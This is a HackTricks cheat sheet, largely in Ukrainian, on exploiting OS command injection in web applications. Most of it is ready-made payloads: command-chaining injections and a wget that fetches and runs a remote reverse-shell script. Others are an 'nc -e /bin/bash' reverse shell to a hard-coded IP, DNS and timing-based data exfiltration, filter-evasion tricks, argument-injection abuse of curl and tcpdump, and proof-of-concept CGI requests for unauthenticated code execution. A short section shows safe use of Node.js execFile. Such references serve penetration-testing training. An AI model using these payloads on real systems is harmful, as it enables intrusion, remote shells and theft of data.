Command Injection

Reading time: 7 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Що таке command Injection?

A command injection дозволяє атакуючому виконувати довільні команди операційної системи на сервері, що розміщує застосунок. Внаслідок цього застосунок і всі його дані можуть бути повністю скомпрометовані. Виконання таких команд зазвичай дозволяє атакуючому отримати несанкціонований доступ або контроль над середовищем застосунку та базовою операційною системою.

Контекст

Залежно від де вставляється ваше введення вам може знадобитися завершити контекст у лапках (використовуючи " або ') перед командами.

Command Injection/Execution

bash
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a   # (Combining new lines and tabs)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command

Обмеження Bypasses

Якщо ви намагаєтесь виконати довільні команди всередині linux-машини, вам буде цікаво прочитати про ці Bypasses:

Bypass Linux Restrictions

Приклади

vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay

Параметри

Нижче наведено топ-25 параметрів, які можуть бути вразливими до code injection та подібних RCE vulnerabilities (з link):

?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}

Time based data exfiltration

Витяг даних: символ за символом

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s

DNS based data exfiltration

На основі інструмента з https://github.com/HoLyVieR/dnsbin, також розміщено на dnsbin.zhack.ca

1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)

Онлайн-інструменти для перевірки DNS based data exfiltration:

  • dnsbin.zhack.ca
  • pingb.in

Обхід фільтрації

Windows

powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc

Linux

Bypass Linux Restrictions

Node.js child_process.exec проти execFile

Під час аудиту бекендів на JavaScript/TypeScript ви часто натрапите на API Node.js child_process.

javascript
// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* … */
});

exec() запускає shell (/bin/sh -c), тому будь-який символ, що має спеціальне значення для shell (back-ticks, ;, &&, |, $(), …), призведе до command injection, якщо введення користувача конкатенується в рядок.

Запобігання: використовуйте execFile() (або spawn() без опції shell) і передавайте кожен аргумент як окремий елемент масиву, щоб shell не брав участі:

javascript
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);

Real-world case: Synology Photos ≤ 1.7.0-0794 був вразливий через неавторизований WebSocket-подію, яка поміщала керовані атакуючим дані в id_user, що пізніше вставлялись у виклик exec(), досягаючи RCE (Pwn2Own Ireland 2024).

Ін'єкція аргументів/опцій через провідний дефіс (argv, без shell-метасимволів)

Не всі ін'єкції вимагають shell-метасимволів. Якщо додаток передає неперевірені рядки як аргументи системній утиліті (навіть з execve/execFile і без shell), багато програм все одно розбиратимуть будь-який аргумент, що починається з - або --, як опцію. Це дозволяє атакуючому змінювати режим роботи, шляхи виводу або викликати небезпечну поведінку, не потрапляючи в shell.

Типові місця, де це зустрічається:

  • Вбудовані веб-UI/CGI-обробники, які формують команди типу ping <user>, tcpdump -i <iface> -w <file>, curl <url>, тощо.
  • Централізовані CGI-маршрутизатори (наприклад, /cgi-bin/<something>.cgi з параметром селектора типу topicurl=<handler>), де кілька обробників повторно використовують один і той же слабкий валідатор.

Що спробувати:

  • Передавати значення, що починаються з -/--, щоб вони були спожиті як прапорці downstream-утилітою.
  • Зловживати прапорцями, які змінюють поведінку або записують файли, наприклад:
  • ping: -f/-c 100000 щоб навантажити пристрій (DoS)
  • curl: -o /tmp/x щоб записати довільні шляхи, -K <url> щоб завантажити контрольований атакуючим конфіг
  • tcpdump: -G 1 -W 1 -z /path/script.sh щоб досягти виконання після ротації в небезпечних обгортках
  • Якщо програма підтримує -- end-of-options, спробуйте обійти наївні пом'якшення, які додають -- в неправильне місце.

Generic PoC shapes against centralized CGI dispatchers:

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded

# Flip options in a downstream tool via argv injection
topicurl=<handler>&param=-n

# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;

Список виявлення Brute-Force

Auto_Wordlists/wordlists/command_injection.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks